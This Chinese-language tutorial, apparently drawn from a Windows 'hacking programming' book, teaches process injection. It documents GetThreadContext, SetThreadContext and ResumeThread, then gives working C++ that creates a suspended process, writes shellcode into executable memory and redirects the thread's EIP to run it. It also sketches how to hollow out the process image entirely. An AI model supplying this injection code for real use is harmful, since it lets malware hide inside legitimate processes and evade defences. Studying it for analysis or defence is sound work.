# 进程挂起再恢复实现进程内存替换
# 背景
所谓的进程内存替换,就是指将一个进程的内存数据清空,写入任意我们想写入的数据,并更改执行顺序,执行我们写入的数据代码。
本文介绍的就是这样的编程技术,但是,我们做了一些简化,简化成实现创建一个挂起主线程的进程,在新进程的地址空间内申请一块内存,写入我们的 Shellcode,并更改新进程执行顺序,执行我们的 Shellcode 代码。现在,我就把实现过程和原理整理成文档,分享给大家。
# 函数介绍
## GetThreadContext 函数
> 获取指定线程的上下文。64 位应用程序可以使用 Wow64GetThreadContext 函数来检索 WOW64 线程的上下文。
>
> 函数声明
>
> ```c++
> BOOL WINAPI GetThreadContext(
> _In_ HANDLE hThread,
> _Inout_ LPCONTEXT lpContext
> );
> ```
>
> 参数
>
> - hThread [in]
> 要检索其上下文的线程的句柄。 该句柄必须具有对线程的THREAD_GET_CONTEXT访问权限。 有关更多信息,请参阅线程安全和访问权限。
> WOW64:手柄也必须有THREAD_QUERY_INFORMATION访问权限。
> - lpContext [in,out]
> 指向 CONTEXT 结构的指针,它接收指定线程的适当上下文。 该结构的ContextFlags成员的值指定检索线程的上下文的哪些部分。 CONTEXT结构具有高度的处理器特性。 请参阅WinNT.h头文件,了解该结构的处理器特定定义和任何对齐要求。
>
> 返回值
>
> - 如果函数成功,则返回值不为零。
> - 如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。
## SetThreadContext 函数
> 设置指定线程的上下文。
> 64 位应用程序可以使用 Wow64SetThreadContext 函数设置 WOW64 线程的上下文。
>
> 函数声明
>
> ```c++
> BOOL WINAPI SetThreadContext(
> _In_ HANDLE hThread,
> _In_ const CONTEXT *lpContext
> );
> ```
>
> 参数
>
> - hThread [in]
> 线程的句柄,其上下文将被设置。 该句柄必须具有线程的THREAD_SET_CONTEXT权限。 有关更多信息,请参阅线程安全和访问权限。
> - lpContext [in]
> 指向包含要在指定线程中设置的上下文的CONTEXT结构的指针。 此结构的ContextFlags成员的值指定要设置的线程的上下文的哪些部分。 无法指定的CONTEXT结构中的某些值将默认设置为正确的值。 这包括指定特权处理器模式的CPU状态寄存器中的位,调试寄存器中的全局使能位以及必须由操作系统控制的其他状态。
>
> 返回值
>
> - 如果设置了上下文,则返回值为非零。
> - 如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。
## ResumeThread 函数
> 减少线程的暂停计数。 当暂停计数递减到零时,线程的执行被恢复。
>
> 函数声明
>
> ```c++
> DWORD WINAPI ResumeThread(
> _In_ HANDLE hThread
> );
> ```
>
> 参数
>
> - hThread [in]
>
> 要重新启动的线程的句柄。
>
> 该句柄必须具有THREAD_SUSPEND_RESUME权限。 有关更多信息,请参阅线程安全和访问权限。
>
> 返回值
>
> - 如果函数成功,则返回值是线程先前的挂起计数。
> - 如果函数失败,返回值为(DWORD)-1。 要获取扩展错误信息,请调用GetLastError。
# 实现原理
我们实现进程内存替换,或者说实现进程数据写入,更改执行顺序的原理是:
- 首先,使用 CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
- 然后,使用 VirtualAllocEx 函数在新进程中申请一块可读、可写、可执行的内存,并使用 WriteProcessMemory 函数写入Shellcode 数据。
- 接着,使用 GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文。并修改线程上下文的指令指针 EIP 的值,更改主线程的执行顺序。再将修改过的线程上下文设置回主线程中。
- 最后,我们调用 ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运行,执行我们的 Shellcode 代码。
其中,当使用 CreateProcess 创建进程时,创建标志为 CREATE_SUSPENDED,则表示新进程的主线程被创建为挂起状态,直到使用 ResumeThread 函数恢复主线程,进程才会继续运行。
其中,要注意的是,在使用 GetThreadContext 获取线程上下文的时候,一定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表示指明要检索线程的上下文的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表示获取所有的线程上下文信息。
# 编码实现
```c++
// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT threadContext = { 0 };
BOOL bRet = FALSE;
::RtlZeroMemory(&si, sizeof(si));
::RtlZeroMemory(&pi, sizeof(pi));
::RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(si);
// 创建进程并挂起主线程
bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (FALSE == bRet)
{
ShowError("CreateProcess");
return FALSE;
}
// 在替换的进程中申请一块内存
LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpDestBaseAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 写入替换的数据
bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
if (FALSE == bRet)
{
ShowError("WriteProcessError");
return FALSE;
}
// 获取线程上下文
// 注意此处标志,一定要写!!!
threadContext.ContextFlags = CONTEXT_FULL;
bRet = ::GetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
{
ShowError("GetThreadContext");
return FALSE;
}
// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
// 设置挂起进程的线程上下文
bRet = ::SetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
{
ShowError("SetThreadContext");
return FALSE;
}
// 恢复挂起的进程的线程
::ResumeThread(pi.hThread);
return TRUE;
}
```
# 程序测试
我们运行程序,对 520.exe 程序创建挂起进程,并写入 Shellcode,更改进程执行顺序,恢复进程,执行 Shellcode 部分代码:
![](http://www.writebug.com/myres/static/uploads/2021/10/19/45de64dd51647680b7ba52e33e36577e.writebug)
# 总结
这个程序在理解原理后,你会发现我们上述的例子并没有替换原来新进程的内存,只是申请了一块新内存,并写入 Shellcode 数据。但是,要替换新进程的内存倒也不难,只要获取了新进程的加载基址,然后根据 PE 格式,获取加载映像大小,并对数据全部置零清空,在写入我们的新数据,这样就实现了替换。但是,只要你理解了本文演示的例子,实现替换操作也不难了。
如果你仍然不明白,可以多看看 CreateProcess、GetThreadContext、SetThreadContext、ResumeThread 等函数的具体参数说明,理解清楚参数含义就可以了。
其中,要注意的是,在使用 GetThreadContext 获取线程上下文的时候,一定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表示指明要检索线程的上下文的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表示获取所有的线程上下文信息。
# 参考
参考自《[Windows黑客编程技术详解](https://www.write-bug.com/article/1811.html "Windows黑客编程技术�